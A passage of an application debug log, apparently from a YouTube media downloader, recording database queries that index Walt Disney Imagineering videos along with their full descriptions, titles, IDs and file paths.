evolved to include video effects\n• Disney continues to push boundaries and innovate new ways to use the stage magic\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a 👻 in the comments if you made it this far — and let us know your favorite use of Pepper's Ghost in the parks!\n\n#WaltDisneyImagineering #HauntedMansion #TowerofTerror", "Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering", "m80WI0AK0P0", "https://www.youtube.com/watch?v=m80WI0AK0P0", nil, false, "/downloads/Walt Disney Imagineering/2025-12-08 Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering/Pepper's Ghost from Haunted Mansion to Test Track | Great Moments in Imagineering [m80WI0AK0P0].NA", false, 2, ~U[2025-12-08 00:00:00Z]] 18:55:11.690 [debug] QUERY OK source="sources" db=0.2ms idle=1582.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:11.691 [debug] QUERY OK source="media_items" db=0.5ms idle=1582.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-02 00:00:00Z], 2] 18:55:11.725 [debug] QUERY OK source="media_items" db=33.2ms idle=1582.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "4af277a4-bde1-4a8e-a927-609088704024", "dbjm02cvdiQ", "https://www.youtube.com/watch?v=dbjm02cvdiQ", false, false, 10, "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].NA", false, false, 2, [], 98, ~U[2025-12-02 00:00:00Z], ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z], "Walt Disney Imagineering Research & Development is bringing a beloved character to World of Frozen in Disneyland Paris and Hong Kong Disneyland. Olaf is a self-roaming character that will continue to push innovation and immersion within Disney Experiences.\n\n🎥 Watch the full episode of We Call It Imagineering inside Research & Development to see more innovations at Walt Disney Imagineering → \u00A0\u00A0\u00A0•\u00A0Real-Life\u00A0Olaf\u00A0Robot\u00A0&\u00A0Inside\u00A0Imagineering...\u00A0\u00A0\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen", "dbjm02cvdiQ", "https://www.youtube.com/watch?v=dbjm02cvdiQ", nil, false, "/downloads/Walt Disney Imagineering/2025-12-02 Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen/Disney's Olaf Self-Roaming Robot Comes to Life World of Frozen [dbjm02cvdiQ].NA", false, 2, ~U[2025-12-02 00:00:00Z]] 18:55:11.725 [debug] QUERY OK source="sources" db=0.2ms idle=263.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:11.726 [debug] QUERY OK source="media_items" db=0.5ms idle=36.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-24 00:00:00Z], 2] 18:55:11.729 [debug] QUERY OK source="media_items" db=1.7ms idle=36.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 Key Takeaways\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 Chapters\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering", "c0bbcec3-d977-4b91-a945-e8b5e51168c5", "EoPN02bmzrE", "https://www.youtube.com/watch?v=EoPN02bmzrE", false, false, 11, "/downloads/Walt Disney Imagineering/2025-11-24 Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering/Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering [EoPN02bmzrE].NA", false, false, 2, [], 98, ~U[2025-11-24 00:00:00Z], ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z], "Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 Key Takeaways\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 Chapters\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00 (truncated) 18:55:11.729 [debug] QUERY OK source="sources" db=0.1ms idle=37.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:11.730 [debug] QUERY OK source="media_items" db=0.4ms idle=4.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-17 00:00:00Z], 2] 18:55:11.732 [debug] QUERY OK source="media_items" db=1.3ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "Why do roller coasters feel faster in the dark? | Imagineer That!", "bdec57e9-93e4-490a-be9f-cac4e3222186", "b7hgSAMfqe0", "https://www.youtube.com/watch?v=b7hgSAMfqe0", false, false, 12, "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].NA", false, false, 2, [], 98, ~U[2025-11-17 00:00:00Z], ~U[2026-03-29 22:55:11Z], ~U[2026-03-29 22:55:11Z], "🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "Why do roller coasters feel faster in the dark? | Imagineer That!", "b7hgSAMfqe0", "https://www.youtube.com/watch?v=b7hgSAMfqe0", nil, false, "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].NA", false, 2, ~U[2025-11-17 00:00:00Z]] 18:55:11.732 [debug] QUERY OK source="sources" db=0.1ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:11.733 [debug] QUERY OK source="media_items" db=0.4ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-11 00:00:00Z], 2] 18:55:11.735 [debug] QUERY OK source="media_items" db=2.4ms idle=3.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → \u00A0\u00A0\u00A0•\u00A0Relive\u00A0The\u00A0Disney\u00A0Destiny\u00A0Christening\u00A0|\u00A0Fu...\u00A0\u00A0\n\n✨ What makes this special?\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → 